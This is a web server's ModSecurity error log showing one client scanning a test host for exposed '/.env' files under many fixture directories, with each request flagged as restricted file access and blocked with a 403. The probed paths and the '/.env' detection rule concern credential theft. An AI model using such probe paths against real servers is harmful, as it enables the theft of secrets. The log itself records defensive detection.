[Mon Jul 28 20:46:21.472523 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwQAAAAg&quot;]
[Mon Jul 28 20:46:21.472717 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwQAAAAg&quot;]
[Mon Jul 28 20:46:21.532607 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/aries-js-worker/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwwAAAAg&quot;]
[Mon Jul 28 20:46:21.532863 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwwAAAAg&quot;]
[Mon Jul 28 20:46:21.533063 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelwwAAAAg&quot;]
[Mon Jul 28 20:46:21.562431 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/adapter-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxAAAAAg&quot;]
[Mon Jul 28 20:46:21.562687 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxAAAAAg&quot;]
[Mon Jul 28 20:46:21.562879 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxAAAAAg&quot;]
[Mon Jul 28 20:46:21.592259 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/agent-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxQAAAAg&quot;]
[Mon Jul 28 20:46:21.592502 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxQAAAAg&quot;]
[Mon Jul 28 20:46:21.592673 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxQAAAAg&quot;]
[Mon Jul 28 20:46:21.622058 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxgAAAAg&quot;]
[Mon Jul 28 20:46:21.622289 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxgAAAAg&quot;]
[Mon Jul 28 20:46:21.622489 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxgAAAAg&quot;]
[Mon Jul 28 20:46:21.651767 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxwAAAAg&quot;]
[Mon Jul 28 20:46:21.652014 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxwAAAAg&quot;]
[Mon Jul 28 20:46:21.652197 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelxwAAAAg&quot;]
[Mon Jul 28 20:46:21.681516 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/demo/openapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyAAAAAg&quot;]
[Mon Jul 28 20:46:21.681760 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyAAAAAg&quot;]
[Mon Jul 28 20:46:21.681957 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/demo/openapi/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyAAAAAg&quot;]
[Mon Jul 28 20:46:21.711343 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-method-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyQAAAAg&quot;]
[Mon Jul 28 20:46:21.711590 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyQAAAAg&quot;]
[Mon Jul 28 20:46:21.711782 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-method-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelyQAAAAg&quot;]
[Mon Jul 28 20:46:21.741021 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/did-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelygAAAAg&quot;]
[Mon Jul 28 20:46:21.741264 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelygAAAAg&quot;]
[Mon Jul 28 20:46:21.741475 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/did-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelygAAAAg&quot;]
[Mon Jul 28 20:46:21.770776 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/edv-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelywAAAAg&quot;]
[Mon Jul 28 20:46:21.771018 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelywAAAAg&quot;]
[Mon Jul 28 20:46:21.771203 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/edv-rest/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelywAAAAg&quot;]
[Mon Jul 28 20:46:21.800370 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/openapi-demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzAAAAAg&quot;]
[Mon Jul 28 20:46:21.800588 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzAAAAAg&quot;]
[Mon Jul 28 20:46:21.800754 2025] [:error] [pid 1531600] [client 185.177.72.201:36226] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/openapi-demo/.env&quot;] [unique_id &quot;aIfFfQLZGLzAXRzMJrelzAAAAAg&quot;]
